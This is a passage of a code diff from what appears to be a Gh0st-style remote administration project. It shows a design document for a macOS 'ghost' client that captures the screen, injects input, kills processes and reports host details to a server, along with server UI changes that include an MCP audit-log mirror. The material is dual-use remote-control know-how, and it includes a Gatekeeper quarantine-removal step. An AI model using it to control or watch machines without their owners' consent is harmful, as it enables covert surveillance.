+└─────────────┬───────────────────────────────────┘
+              │
+    ┌─────────┼─────────┬─────────────┐
+    ▼         ▼         ▼             ▼
+┌───────┐ ┌───────┐ ┌───────┐ ┌────────────┐
+│Screen │ │Input  │ │System │ │IOCPClient  │
+│Handler│ │Handler│ │Manager│ │(网络 stub) │
+└───┬───┘ └───┬───┘ └───────┘ └────────────┘
+    │         │
+    ▼         ▼
+┌─────────────────────────────────┐
+│     macOS 系统框架               │
+│  CoreGraphics (截屏)            │
+│  Carbon (键码定义)              │
+│  ApplicationServices (权限)     │
+└─────────────────────────────────┘
+```
+
+---
+
+## 3. 技术选型
+
+### 3.1 屏幕捕获方案（已选定）
+
+| 方案 | 最低版本 | 性能 | 复杂度 | 选择 |
+|-----|---------|------|--------|-----|
+| `CGDisplayCreateImage` | 10.5 | 中 | 低 | **✅ 已采用** |
+| `CGDisplayStream` | 10.8 | 中 | 中 | 备选 |
+| `ScreenCaptureKit` | 12.3 | 高 | 高 | 未来考虑 |
+
+**选择 CGDisplayCreateImage**：
+- 实现简单，兼容性好
+- 与 Linux 端 `XGetImage` 方案一致
+- 足以支持 10-30 FPS 传输
+
+### 3.2 输入模拟方案（已实现）
+
+| 功能 | API | 实现状态 |
+|-----|-----|---------|
+| 鼠标移动 | `CGEventCreateMouseEvent` | ✅ 完成 |
+| 鼠标点击 | `CGEventCreateMouseEvent` | ✅ 完成 |
+| 鼠标拖动 | `kCGEventLeftMouseDragged` | ✅ 完成 |
+| 鼠标滚轮 | `CGEventCreateScrollWheelEvent` | ✅ 完成 |
+| 键盘输入 | `CGEventCreateKeyboardEvent` | ✅ 完成 |
+| 事件发送 | `CGEventPost(kCGHIDEventTap)` | ✅ 完成 |
+
+### 3.3 VK 键码映射（已实现）
+
+Windows VK 码到 macOS CGKeyCode 的完整映射：
+
+| 按键类型 | VK 范围 | macOS 映射 |
+|---------|---------|-----------|
+| 字母 A-Z | 0x41-0x5A | kVK_ANSI_A - kVK_ANSI_Z |
+| 数字 0-9 | 0x30-0x39 | kVK_ANSI_0 - kVK_ANSI_9 |
+| 小键盘 | 0x60-0x69 | kVK_ANSI_Keypad0 - 9 |
+| F1-F12 | 0x70-0x7B | kVK_F1 - kVK_F12 |
+| 方向键 | 0x25-0x28 | kVK_LeftArrow 等 |
+| 修饰键 | 0x10-0x12 | kVK_Shift/Control/Option |
+| Win 键 | 0x5B-0x5C | kVK_Command |
+
+### 3.4 差分算法（与 Linux 一致）
+
+| 算法 | ID | 说明 |
+|-----|-----|------|
+| ALGORITHM_GRAY | 0 | 灰度压缩 |
+| ALGORITHM_DIFF | 1 | BGRA 差分 |
+| ALGORITHM_H264 | 2 | 硬件编码（未实现）|
+| ALGORITHM_RGB565 | 3 | RGB565 压缩 |
+
+### 3.5 macOS 版本支持
+
+| 版本 | 代号 | 发布年份 | 支持状态 |
+|-----|------|---------|---------|
+| 10.13 | High Sierra | 2017 | ✅ 目标最低版本 |
+| 10.14 | Mojave | 2018 | ✅ 支持 |
+| 10.15 | Catalina | 2019 | ✅ 支持（需权限） |
+| 11.x | Big Sur | 2020 | ✅ 支持 |
+| 12.x | Monterey | 2021 | ✅ 支持 |
+| 13.x | Ventura | 2022 | ✅ 支持 |
+| 14.x | Sonoma | 2023 | ✅ 支持 |
+
+**注意**：macOS 10.15+ 需要用户授予屏幕录制权限。
+
+---
+
+## 4. 权限处理
+
+### 4.1 所需权限
+
+| 权限 | 用途 | 最低要求版本 | 授权方式 |
+|-----|------|------------|---------|
+| **屏幕录制** | 捕获屏幕内容 | 10.15 | 系统偏好设置 > 隐私 > 屏幕录制 |
+| **辅助功能** | 模拟键盘/鼠标输入 | 所有版本 | 系统偏好设置 > 隐私 > 辅助功能 |
+
+### 4.2 权限检查实现（Permissions.mm）
+
+```objc
+// 检查屏幕录制权限
+bool Permissions::checkScreenCapture() {
+    if (@available(macOS 10.15, *)) {
+        CGImageRef image = CGWindowListCreateImage(
+            CGRectMake(0, 0, 1, 1),
+            kCGWindowListOptionOnScreenOnly,
+            kCGNullWindowID,
+            kCGWindowImageDefault
+        );
+        if (image == nil) return false;
+        CGImageRelease(image);
+        return true;
+    }
+    return true;  // 10.15 之前不需要权限
+}
+
+// 检查辅助功能权限
+bool Permissions::checkAccessibility() {
+    return AXIsProcessTrusted();
+}
+
+// 请求辅助功能权限（弹出系统对话框）
+void Permissions::requestAccessibility() {
+    NSDictionary *options = @{
+        (__bridge id)kAXTrustedCheckOptionPrompt: @YES
+    };
+    AXIsProcessTrustedWithOptions((__bridge CFDictionaryRef)options);
+}
+```
+
+### 4.3 权限引导流程
+
+```
+程序启动
+    │
+    ▼
+检查屏幕录制权限 ──否──▶ 打开系统偏好设置
+    │
+    是
+    │
+    ▼
+检查辅助功能权限 ──否──▶ 弹出授权对话框
+    │
+    是
+    │
+    ▼
+正常运行
+```
+
+---
+
+## 5. 核心代码实现
+
+### 5.1 ScreenHandler（已实现）
+
+```objc
+// ScreenHandler.h
+class ScreenHandler {
+public:
+    ScreenHandler();
+    ~ScreenHandler();
+
+    bool init();                                    // 初始化
+    void start(IOCPClient* client, uint64_t id);   // 开始捕获
+    void stop();                                    // 停止捕获
+
+    int getWidth() const;
+    int getHeight() const;
+
+    void sendBitmapInfo();                         // 发送屏幕信息
+    void onReceive(const uint8_t* data, size_t size);
+    void applyQualityLevel(int8_t level, bool persist);
+
+private:
+    bool captureScreen(std::vector<uint8_t>& buffer);  // 截屏
+    void sendFirstScreen();                            // 发送首帧
+    void sendDiffFrame();                              // 发送差分帧
+    uint32_t compareBitmap(...);                       // 差分计算
+    void convertBGRAtoGray(...);                       // 灰度转换
+    void convertBGRAtoRGB565(...);                     // RGB565转换
+    void captureLoop();                                // 捕获循环
+
+    // 成员变量
+    IOCPClient* m_client;
+    CGDirectDisplayID m_displayID;
+    BITMAPINFOHEADER_MAC m_bmpHeader;
+    std::vector<uint8_t> m_prevFrame, m_currFrame;
+    std::atomic<bool> m_running;
+    std::atomic<uint8_t> m_algorithm;
+    std::atomic<int> m_maxFPS;
+};
+```
+
+### 5.2 InputHandler（已实现）
+
+```objc
+// InputHandler.h
+class InputHandler {
+public:
+    InputHandler();
+    ~InputHandler();
+
+    bool init();                                    // 初始化（检查权限）
+    void handleInputEvent(const MSG64_MAC* msg);   // 处理输入事件
+    bool hasAccessibilityPermission() const;
+
+private:
+    void handleMouseMove(int x, int y);
+    void handleMouseButton(CGMouseButton button, bool down, int x, int y);
+    void handleMouseDoubleClick(CGMouseButton button, int x, int y);
+    void handleMouseWheel(int delta);
+    void handleKeyEvent(uint32_t vkCode, bool down);
+
+    static CGKeyCode vkToMacKeyCode(uint32_t vk);  // VK 到 macOS 键码映射
+
+    bool m_hasPermission;
+    CGPoint m_lastMousePos;
+    bool m_leftButtonDown, m_rightButtonDown, m_middleButtonDown;
+};
+```
+
+### 5.3 SystemManager（已实现）
+
+```objc
+// SystemManager.h
+class SystemManager {
+public:
+    SystemManager(IOCPClient* client, uint64_t clientID);
+    ~SystemManager();
+
+    void onReceive(const uint8_t* data, size_t size);
+
+private:
+    void sendProcessList();                        // 进程列表
+    void killProcesses(const uint8_t* data, size_t size);
+    void sendWindowsList();                        // 窗口列表
+
+    static std::vector<pid_t> getAllPids();        // 枚举进程
+    static std::string getProcessName(pid_t pid);
+    static std::string getProcessPath(pid_t pid);
+};
+```
+
+### 5.4 main.mm（已实现）
+
+主要功能：
+- 命令行参数解析
+- 权限检查和引导
+- 系统信息收集（主机名、OS版本、CPU、内存等）
+- 初始化各处理器
+- 主事件循环
+
+```objc
+int main(int argc, const char* argv[]) {
+    @autoreleasepool {
+        // 1. 解析命令行参数
+        // 2. 检查权限
+        // 3. 收集系统信息
+        // 4. 初始化 ScreenHandler, InputHandler
+        // 5. 主循环
+    }
+    return 0;
+}
+```
+
+---
+
+## 6. 构建配置
+
+### 6.1 CMakeLists.txt
+
+```cmake
+cmake_minimum_required(VERSION 3.15)
+project(ghost_macos)
+
+set(CMAKE_CXX_STANDARD 17)
+set(CMAKE_OSX_DEPLOYMENT_TARGET "10.13")
+set(CMAKE_OSX_ARCHITECTURES "x86_64;arm64")  # Universal Binary
+
+set(SOURCES
+    main.mm
+    ScreenHandler.mm
+    InputHandler.mm
+    SystemManager.mm
+    Permissions.mm
+)
+
+add_executable(ghost ${SOURCES})
+
+target_include_directories(ghost PRIVATE ${CMAKE_CURRENT_SOURCE_DIR})
+
+# 链接 macOS 框架
+find_library(COCOA_FRAMEWORK Cocoa REQUIRED)
+find_library(COREGRAPHICS_FRAMEWORK CoreGraphics REQUIRED)
+find_library(IOKIT_FRAMEWORK IOKit REQUIRED)
+find_library(IOSURFACE_FRAMEWORK IOSurface REQUIRED)
+find_library(APPLICATIONSERVICES_FRAMEWORK ApplicationServices REQUIRED)
+find_library(SECURITY_FRAMEWORK Security REQUIRED)
+find_library(CARBON_FRAMEWORK Carbon REQUIRED)
+
+target_link_libraries(ghost PRIVATE
+    ${COCOA_FRAMEWORK}
+    ${COREGRAPHICS_FRAMEWORK}
+    ${IOKIT_FRAMEWORK}
+    ${IOSURFACE_FRAMEWORK}
+    ${APPLICATIONSERVICES_FRAMEWORK}
+    ${SECURITY_FRAMEWORK}
+    ${CARBON_FRAMEWORK}
+)
+
+target_compile_options(ghost PRIVATE -Wall -Wextra -fobjc-arc)
+```
+
+### 6.2 编译命令
+
+```bash
+# 方式 1: 使用脚本
+chmod +x build.sh
+./build.sh
+
+# 方式 2: 手动编译
+mkdir build && cd build
+cmake ..
+make -j$(sysctl -n hw.ncpu)
+
+# 输出: build/bin/ghost
+```
+
+---
+
+## 7. 实现进度
+
+### Phase 1: 基础框架 ✅ 完成
+
+| 任务 | 状态 | 产出 |
+|-----|------|------|
+| 创建目录结构 | ✅ | `macos/` 目录 |
+| CMakeLists.txt | ✅ | 构建配置 |
+| Permissions.h/mm | ✅ | 权限检查 |
+| ScreenHandler.h/mm | ✅ | 屏幕捕获 |
+| InputHandler.h/mm | ✅ | 输入模拟 |
+| SystemManager.h/mm | ✅ | 进程管理 |
+| main.mm | ✅ | 入口点 |
+| IOCPClient.h | ✅ | 网络 stub |
+
+### Phase 2: 网络集成 ⏳ 待实现
+
+| 任务 | 状态 | 说明 |
+|-----|------|------|
+| IOCPClient 实现 | ⏳ | 复用 client/IOCPClient |
+| 登录信息发送 | ⏳ | LOGIN_INFOR 结构 |
+| 心跳保活 | ⏳ | Heartbeat 机制 |
+| 命令分发 | ⏳ | DataProcess 回调 |
+
+### Phase 3: 功能完善 ⏳ 待实现
+
+| 任务 | 状态 |
+|-----|------|
+| 光标类型同步 | ⏳ |
+| 多显示器支持 | ⏳ |
+| 文件传输 | ⏳ |
+| 剪贴板同步 | ⏳ |
+
+### Phase 4: 代码保护 ⏳ 待实现
+
+| 任务 | 状态 |
+|-----|------|
+| 服务端密钥对生成 | ⏳ |
+| 服务端签名逻辑 | ⏳ |
+| 闭源库 libYamaCore | ⏳ |
+| 客户端绑定验证 | ⏳ |
+
+---
+
+## 8. 测试指南
+
+### 8.1 编译前准备
+
+```bash
+# 安装 Xcode Command Line Tools
+xcode-select --install
+
+# 安装 CMake (通过 Homebrew)
+brew install cmake
+```
+
+### 8.2 编译运行
+
+```bash
+# 获取代码
+git clone <repo-url>
+cd YAMA/macos
+
+# 编译
+./build.sh
+
+# 运行
+./build/bin/ghost [server_ip] [port]
+```
+
+### 8.3 首次运行权限授予
+
+1. **屏幕录制权限**：
+   - 系统偏好设置 > 隐私与安全性 > 屏幕录制
+   - 添加 `ghost` 可执行文件
+
+2. **辅助功能权限**：
+   - 系统偏好设置 > 隐私与安全性 > 辅助功能
+   - 添加 `ghost` 可执行文件
+
+### 8.4 预期输出
+
+```
+=== macOS Ghost Client (Phase 1) ===
+Server: 192.168.0.55:6543
+Checking permissions...
+Collecting system information...
+Hostname: MacBook-Pro.local
+OS: macOS 14.0.0
+CPU: Apple M1 (0 MHz, 8 cores)
+Memory: 16.0 GB
+User: username
+Resolution: 1:2560x1600
+Executable: /path/to/ghost
+Start Time: 2024-04-29 12:00:00
+Initializing handlers...
+Screen handler initialized: 2560x1600
+Input handler initialized
+=== Phase 1 Status ===
+Screen Capture: READY
+Input Control:  READY
+Network:        STUB (Phase 2)
+======================
+Starting main loop (Ctrl+C to exit)...
+```
+
+---
+
+## 9. 常见问题
+
+### 9.1 编译问题
+
+| 问题 | 原因 | 解决方案 |
+|-----|------|---------|
+| 找不到 Foundation.h | 缺少 Xcode CLT | `xcode-select --install` |
+| CMake 找不到 | 未安装 CMake | `brew install cmake` |
+| 架构不匹配 | Universal Binary 问题 | 检查 CMAKE_OSX_ARCHITECTURES |
+
+### 9.2 运行时问题
+
+| 问题 | 原因 | 解决方案 |
+|-----|------|---------|
+| 程序无法打开 | 未签名 | `xattr -d com.apple.quarantine ghost` |
+| Screen Capture: NEED PERMISSION | 无录屏权限 | 系统偏好设置授权 |
+| Input Control: NEED PERMISSION | 无辅助功能权限 | 系统偏好设置授权 |
+
+### 9.3 权限重置
+
+```bash
+# 如果权限状态混乱，可重置
+tccutil reset ScreenCapture
+tccutil reset Accessibility
+```
+
+---
+
+## 10. 代码保护机制（待实现）
+
+### 10.1 保护策略
+
+核心思路：客户端内嵌服务端公钥，连接时验证服务端身份。
+
+```
+┌─────────────────────┐                    ┌─────────────────────┐
+│   macOS Client      │                    │   Your Server       │
+│                     │    1. 挑战请求     │                     │
+│ ┌─────────────────┐ │ ─────────────────▶ │ ┌─────────────────┐ │
+│ │ libYamaCore.a   │ │                    │ │  服务端私钥     │ │
+│ │ (闭源)          │ │ ◀───────────────── │ │                 │ │
+│ │ 内嵌服务端公钥  │ │    2. 签名响应     │ └─────────────────┘ │
+│ │                 │ │                    │                     │
+│ │ 验证签名 ─────▶ 匹配 ──▶ 正常工作                           │
+│ │         ─────▶ 不匹配 ──▶ 拒绝连接                          │
+│ └─────────────────┘ │                    │                     │
+└─────────────────────┘                    └─────────────────────┘
+```
+
+### 10.2 实施步骤
+
+1. 生成服务端密钥对
+2. 服务端添加签名逻辑
+3. 创建闭源库 libYamaCore
+4. 嵌入公钥编译
+5. 客户端集成验证
+
+---
+
+## 11. 参考资料
+
+### 11.1 官方文档
+
+- [CGDisplayCreateImage](https://developer.apple.com/documentation/coregraphics/1454434-cgdisplaycreateimage)
+- [CGEvent Reference](https://developer.apple.com/documentation/coregraphics/cgevent)
+- [Carbon Events.h](https://developer.apple.com/documentation/carbon/events_h)
+- [Accessibility API](https://developer.apple.com/documentation/applicationservices/axuielement_h)
+
+### 11.2 开源项目参考
+
+- [RustDesk macOS](https://github.com/rustdesk/rustdesk/tree/master/src/platform/macos)
+- [Sunshine Screen Capture](https://github.com/LizardByte/Sunshine/tree/master/src/platform/macos)
+
+---
+
+## 12. 修订历史
+
+| 日期 | 版本 | 修改内容 |
+|-----|------|---------|
+| 2026-04-28 | 1.0 | 初始版本（设计文档） |
+| 2026-04-29 | 1.1 | 更新为实现文档，Phase 1 完成 |

server/2015Remote/2015RemoteDlg.h

@@ -173,6 +173,9 @@ protected:
     DECLARE_MESSAGE_MAP()
 public:
     void SortByColumn(int nColumn);
+    void ApplySort();               // 按偏好重排 m_HostList（调用方需持有 m_cs）
+    void LoadSortPreference();
+    void SaveSortPreference();
     afx_msg VOID OnHdnItemclickList(NMHDR* pNMHDR, LRESULT* pResult);
     static int CALLBACK CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM lParamSort);
     template<class T, int id, int Show = SW_SHOW> LRESULT OpenDialog(WPARAM wParam, LPARAM lParam)
@@ -337,11 +340,26 @@ public:
     std::vector<int> m_PendingOffline;  // 存储端口号
     CListCtrlEx m_CList_Online;
     CListCtrl   m_CList_Message;
+    // 消息/审计日志的线程安全镜像（供 MCP get_audit_log 工具读取）。m_CList_Message 是
+    // CListCtrl、只能在 UI 线程访问，MCP 线程据此镜像读取。受 m_cs 保护，新在前、旧在后，
+    // 与 CListCtrl 显示顺序一致（索引一一对应，便于删除同步）。
+    struct LogMessage {
+        std::string type;   // 类型（操作成功/主机上线/主机下线…）
+        std::string time;   // 时间戳 "YYYY-MM-DD HH:MM:SS"
+        std::string msg;    // 内容
+    };
+    std::vector<LogMessage> m_MessageLog;
     CSplitterBar m_SplitterBar;
     int m_nSplitPos = 160;  // 消息区高度（像素），可拖动调整
     std::vector<context*> m_HostList;              // 虚拟列表数据源（全部客户端）
     std::unordered_map<uint64_t, size_t> m_ClientIndex;  // clientID -> m_HostList 索引映射
+    // 重复上线的替补连接：clientID -> 替补 context。
+    // 网络抖动导致客户端用新连接重复上线时，不立即替换/关闭旧连接（否则会触发客户端
+    // 反复重连抖动），而是把新连接暂存到这里；旧连接因心跳超时或断开被移除后，再取替补转正。
+    std::unordered_map<uint64_t, CONTEXT_OBJECT*> m_StandbyHosts;
     std::vector<size_t> m_FilteredIndices;         // 当前分组过滤后的索引列表
+    int  m_nSortColumn = -1;                       // 当前排序列，-1 表示未排序
+    bool m_bSortAscending = true;                  // 排序方向（true=升序）
     std::set<std::string> m_GroupList;
     std::string m_selectedGroup;
 	std::string m_v2KeyPath;                      // V2 密钥文件路径
@@ -361,6 +379,9 @@ public:
     context* FindHostNoLock(int port);      // caller must hold m_cs lock
     context* FindHostNoLock(uint64_t id);   // caller must hold m_cs lock
     bool RemoveFromHostList(context* ctx);  // 从 m_HostList 中移除并更新索引
+    void AddToStandbyList(CONTEXT_OBJECT* ctx);      // 重复上线：暂存替补连接（替换旧替补）
+    void RemoveFromStandbyList(CONTEXT_OBJECT* ctx); // 连接断开时从替补列表移除（幂等）
+    bool PromoteStandby(uint64_t clientID);          // 旧连接移除后，取替补转正（需持有 m_cs）；返回是否真的转正
 
     CStatusBar m_StatusBar;          //状态条
     ULONGLONG m_ullStartTime = 0;    // 程序启动时间 (GetTickCount64)
@@ -385,7 +406,7 @@ public:
     bool IsDllRequestLimited(const std::string& ip);
     void RecordDllRequest(const std::string& ip);
     CMenu	   m_MainMenu;
-    CBitmap m_bmOnline[63];
+    CBitmap m_bmOnline[66];
     uint64_t m_superID;
     std::map<HWND, CDialogBase *> m_RemoteWnds;
     FileTransformCmd m_CmdList;
@@ -564,6 +585,9 @@ public:
     afx_msg void OnMsglogCopy();
     afx_msg void OnMsglogClear();
     afx_msg void OnMsglogSearch();
+    afx_msg void OnMsglogLoginNotify();
+    afx_msg void OnMsglogBanIP();
+    afx_msg void OnMsglogUnbanIP();
     afx_msg void OnOnlineAddWatch();
     afx_msg void OnNMCustomdrawOnline(NMHDR* pNMHDR, LRESULT* pResult);
     afx_msg void OnOnlineRunAsAdmin();
@@ -630,6 +654,7 @@ public:
     afx_msg void OnMasterTrail();
     afx_msg void OnCancelShare();
     afx_msg void OnWebRemoteControl();
+    afx_msg void OnMcpSettings();
     afx_msg void OnProxyPortAutorun();
     afx_msg void OnScreenpreviewLoop();
     afx_msg void OnMenuCompress();
@@ -642,6 +667,7 @@ public:
     afx_msg void OnOnlineActiveWnd();
     afx_msg void OnEnableDevDebug();
     afx_msg void OnOnlineClientLog();
+    afx_msg void OnOnlineHistoryActivity();
     afx_msg LRESULT OnOpenClientLogDialog(WPARAM wParam, LPARAM lParam);
     afx_msg void OnOnlineForbidden();
 };

server/2015Remote/2015Remote_vs2015.vcxproj

@@ -291,6 +291,7 @@
     <ClInclude Include="BuildDlg.h" />
     <ClInclude Include="CClientListDlg.h" />
     <ClInclude Include="CClientLog.h" />
+    <ClInclude Include="CActivityDialog.h" />
     <ClInclude Include="LogSearchBar.h" />
     <ClInclude Include="CDlgFileSend.h" />
     <ClInclude Include="CDrawingBoard.h" />
@@ -316,6 +317,7 @@
     <ClInclude Include="file\CFileTransferModeDlg.h" />
     <ClInclude Include="HideScreenSpyDlg.h" />
     <ClInclude Include="HostInfo.h" />
+    <ClInclude Include="HostJson.h" />
     <ClInclude Include="InputDlg.h" />
     <ClInclude Include="ZstaPickerDlg.h" />
     <ClInclude Include="IOCPKCPServer.h" />
@@ -324,6 +326,8 @@
     <ClInclude Include="IPHistoryDlg.h" />
     <ClInclude Include="KeyBoardDlg.h" />
     <ClInclude Include="LangManager.h" />
+    <ClInclude Include="McpServer.h" />
+    <ClInclude Include="McpSettingsDlg.h" />
     <ClInclude Include="NetworkDlg.h" />
     <ClInclude Include="NotifyConfig.h" />
     <ClInclude Include="NotifyManager.h" />
@@ -374,6 +378,7 @@
   <ItemGroup>
     <ClCompile Include="..\..\client\Audio.cpp" />
     <ClCompile Include="CClientLog.cpp" />
+    <ClCompile Include="CActivityDialog.cpp" />
     <ClCompile Include="LogSearchBar.cpp" />
     <ClCompile Include="msvc_compat.c">
       <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
@@ -385,6 +390,9 @@
     <ClCompile Include="PreviewTipWnd.cpp" />
     <ClCompile Include="TriggerSettingsDlg.cpp" />
     <ClCompile Include="WebService.cpp" />
+    <ClCompile Include="HostJson.cpp" />
+    <ClCompile Include="McpServer.cpp" />
+    <ClCompile Include="McpSettingsDlg.cpp" />
     <ClCompile Include="..\..\client\MemoryModule.c">
       <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
       <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>

server/2015Remote/2015Remote_vs2015.vcxproj.filters

@@ -84,6 +84,9 @@
     <ClCompile Include="PluginSettingsDlg.cpp" />
     <ClCompile Include="PreviewTipWnd.cpp" />
     <ClCompile Include="TriggerSettingsDlg.cpp" />
+    <ClCompile Include="HostJson.cpp" />
+    <ClCompile Include="McpServer.cpp" />
+    <ClCompile Include="McpSettingsDlg.cpp" />
     <ClCompile Include="CClientLog.cpp" />
   </ItemGroup>
   <ItemGroup>
@@ -164,6 +167,7 @@
     <ClInclude Include="CDlgFileSend.h" />
     <ClInclude Include="..\..\client\reg_startup.h" />
     <ClInclude Include="HostInfo.h" />
+    <ClInclude Include="HostJson.h" />
     <ClInclude Include="CClientListDlg.h" />
     <ClInclude Include="context.h" />
     <ClInclude Include="CUpdateDlg.h" />
@@ -189,6 +193,8 @@
     <ClInclude Include="PluginSettingsDlg.h" />
     <ClInclude Include="PreviewTipWnd.h" />
     <ClInclude Include="TriggerSettingsDlg.h" />
+    <ClInclude Include="McpServer.h" />
+    <ClInclude Include="McpSettingsDlg.h" />
     <ClInclude Include="CClientLog.h" />
   </ItemGroup>
   <ItemGroup>

server/2015Remote/CActivityDialog.cpp

@@ -0,0 +1,100 @@
+// CActivityDialog.cpp: 历史活动展示对话框（一次性快照，无子连接）
+#include "stdafx.h"
+#include "afxdialogex.h"
+#include "CActivityDialog.h"
+#include "resource.h"
+#include "../../common/commands.h"
+
+IMPLEMENT_DYNAMIC(CActivityDialog, CDialogEx)
+
+CActivityDialog::CActivityDialog(CWnd* pParent, Server* pServer, CONTEXT_OBJECT* pContext)
+    : CDialogBase(IDD_DIALOG_CLIENT_LOG, pParent, pServer, pContext, 0)
+{
+}
+
+CActivityDialog::~CActivityDialog()
+{
+}
+
+void CActivityDialog::DoDataExchange(CDataExchange* pDX)
+{
+    CDialogBase::DoDataExchange(pDX);
+    DDX_Control(pDX, IDC_EDIT_LOG, m_editLog);
+}
+
+BEGIN_MESSAGE_MAP(CActivityDialog, CDialogBase)
+    ON_WM_SIZE()
+END_MESSAGE_MAP()
+
+BOOL CActivityDialog::OnInitDialog()
+{
+    CDialogBase::OnInitDialog();
+    SetWindowText(_TR("历史活动") + " - " + m_IPAddress);
+    HICON hIcon = AfxGetApp()->LoadIcon(IDI_CLIENTLOG);
+    SetIcon(hIcon, TRUE);
+    SetIcon(hIcon, FALSE);
+    // 用 Segoe UI：MBCS 工程里模板默认字体是 Microsoft Sans Serif（无 Dingbats 字形），
+    // 显式指定 Segoe UI，中文走字体链接到微软雅黑、Dingbats（✻/✦）走 Segoe UI Symbol 回退。
+    m_font.CreatePointFont(90, _T("Segoe UI"));
+    m_editLog.SetFont(&m_font);
+    // 重建为 Unicode 编辑框：这是 ✻/✦ 能正确显示的关键。重建时已保留上面的字体。
+    RebuildEdit(m_editLog);
+    // 解除 EDIT 控件默认约 64KB 长度上限，否则大快照经 SetWindowTextW 会被静默截断。
+    m_editLog.SetLimitText(0);
+    return TRUE;
+}
+
+void CActivityDialog::RebuildEdit(CEdit& m_edit)
+{
+    CRect rc;
+    m_edit.GetWindowRect(&rc);
+    ScreenToClient(&rc);
+    DWORD style = m_edit.GetStyle();
+    DWORD exStyle = m_edit.GetExStyle();
+    HFONT hFont = (HFONT)m_edit.SendMessage(WM_GETFONT, 0, 0);
+    UINT  ctrlID = m_edit.GetDlgCtrlID();
+    m_edit.DestroyWindow();
+    HWND hEdit = ::CreateWindowExW(
+        exStyle, L"EDIT", L"", style,
+        rc.left, rc.top, rc.Width(), rc.Height(),
+        this->GetSafeHwnd(), (HMENU)(UINT_PTR)ctrlID,
+        AfxGetInstanceHandle(), NULL);
+    m_edit.Attach(hEdit);
+    if (hFont)
+        m_edit.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
+}
+
+void CActivityDialog::OnSize(UINT nType, int cx, int cy)
+{
+    CDialogBase::OnSize(nType, cx, cy);
+    if (m_editLog.GetSafeHwnd() && cx > 0 && cy > 0)
+        m_editLog.MoveWindow(7, 7, cx - 14, cy - 14);
+}
+
+// 快照模式：无子连接，OnReceiveComplete 空实现（纯虚函数必须覆盖）
+void CActivityDialog::OnReceiveComplete()
+{
+}
+
+void CActivityDialog::AppendLog(const std::string& text)
+{
+    if (text.empty()) return;
+
+    // \n → \r\n，Windows 编辑框换行需要 \r\n
+    std::string norm;
+    norm.reserve(text.size() + 64);
+    for (size_t i = 0; i < text.size(); ++i) {
+        if (text[i] == '\n' && (i == 0 || text[i - 1] != '\r'))
+            norm += '\r';
+        norm += text[i];
+    }
+
+    // 服务端是 MBCS 工程，编辑框走 A 接口会把 UTF-8 中文当 ANSI 处理导致乱码；
+    // 与"活动窗口"列一致，用 W 接口显示：先把 UTF-8 转成宽字符，再走 WM_SETTEXTW 写入。
+    // （编辑框已在 OnInitDialog 中重建为 Unicode 窗口，SetWindowTextW 不会经过 CP_ACP 回转。）
+    int wlen = MultiByteToWideChar(CP_UTF8, 0, norm.c_str(), (int)norm.size(), NULL, 0);
+    if (wlen <= 0) return;
+    std::wstring w(wlen, L'\0');
+    MultiByteToWideChar(CP_UTF8, 0, norm.c_str(), (int)norm.size(), &w[0], wlen);
+    ::SetWindowTextW(m_editLog.GetSafeHwnd(), w.c_str());
+}

server/2015Remote/CActivityDialog.h

@@ -0,0 +1,36 @@
+#pragma once
+#include "afxcmn.h"
+#include "IOCPServer.h"
+
+class CActivityDialog : public CDialogBase
+{
+    DECLARE_DYNAMIC(CActivityDialog)
+
+public:
+    CActivityDialog(CWnd* pParent, Server* pServer, CONTEXT_OBJECT* pContext);
+    virtual ~CActivityDialog();
+
+    virtual void OnReceiveComplete();
+    void AppendLog(const std::string& text);
+
+protected:
+    virtual BOOL OnInitDialog();
+    virtual void DoDataExchange(CDataExchange* pDX);
+    afx_msg void OnSize(UINT nType, int cx, int cy);
+
+    DECLARE_MESSAGE_MAP()
+
+private:
+    // 把编辑框重建为 Unicode 类窗口（同 CKeyBoardDlg::RebuildEdit）。
+    // 工程是 MBCS，对话框模板创建的是 ANSI 编辑框，SetWindowTextW 会在 W->A
+    // 边界用 CP_ACP 转码，Dingbats（✻/✦）等字符会变 ?。重建为 Unicode 后
+    // W 版消息直通，不再走 CP_ACP。
+    void RebuildEdit(CEdit& m_edit);
+
+    CEdit m_editLog;
+    CFont m_font;   // 编辑框字体（成员持有，随对话框销毁，避免堆泄漏）
+
+#ifdef AFX_DESIGN_TIME
+    enum { IDD = IDD_DIALOG_CLIENT_LOG };
+#endif
+};

server/2015Remote/CClientLog.cpp

@@ -37,9 +37,9 @@ BOOL CClientLog::OnInitDialog()
     HICON hIcon = AfxGetApp()->LoadIcon(IDI_CLIENTLOG);
     SetIcon(hIcon, TRUE);
     SetIcon(hIcon, FALSE);
-    CFont* pFont = new CFont();
+    m_font.CreatePointFont(85, _T("Consolas"));
-    pFont->CreatePointFont(85, _T("Consolas"));
+    m_editLog.SetFont(&m_font);
-    m_editLog.SetFont(pFont);
+    m_editLog.SetLimitText(0);   // 解除 EDIT 控件默认长度上限，改由 AppendLog 的 512KB 逻辑管理
     return TRUE;
 }
 

server/2015Remote/CClientLog.h

@@ -24,6 +24,7 @@ protected:
 
 private:
     CEdit m_editLog;
+    CFont m_font;
 
 #ifdef AFX_DESIGN_TIME
     enum { IDD = IDD_DIALOG_CLIENT_LOG };

server/2015Remote/FeatureFlags.h

@@ -88,7 +88,9 @@ typedef struct FeatureFlags {
 #define MF_MASTER_TRAIL       (1ULL << 41)  // HIDE_MENU_MASTER_TRAIL
 #define MF_REQUEST_AUTH       (1ULL << 42)  // HIDE_MENU_REQUEST_AUTH
 
-// [43-63] Reserved
+#define MF_MCP_SETTINGS       (1ULL << 43)  // HIDE_MENU_MCP_SETTINGS
+
+// [44-63] Reserved
 
 
 // ============================================================

server/2015Remote/HideScreenSpyDlg.cpp

@@ -6,6 +6,7 @@
 #include "InputDlg.h"
 #include "CTextDlg.h"
 #include "HideScreenSpyDlg.h"
+#include "2015RemoteDlg.h"
 #include <windows.h>
 
 #ifdef _DEBUG
@@ -43,6 +44,8 @@ IMPLEMENT_DYNAMIC(CHideScreenSpyDlg, CDialog)
 bool DirectoryExists(const char* path);
 std::string GetScreenShotPath(CWnd* parent, const CString& ip, const CString& filter, const CString& suffix);
 
+extern CMy2015RemoteDlg* g_2015RemoteDlg;
+
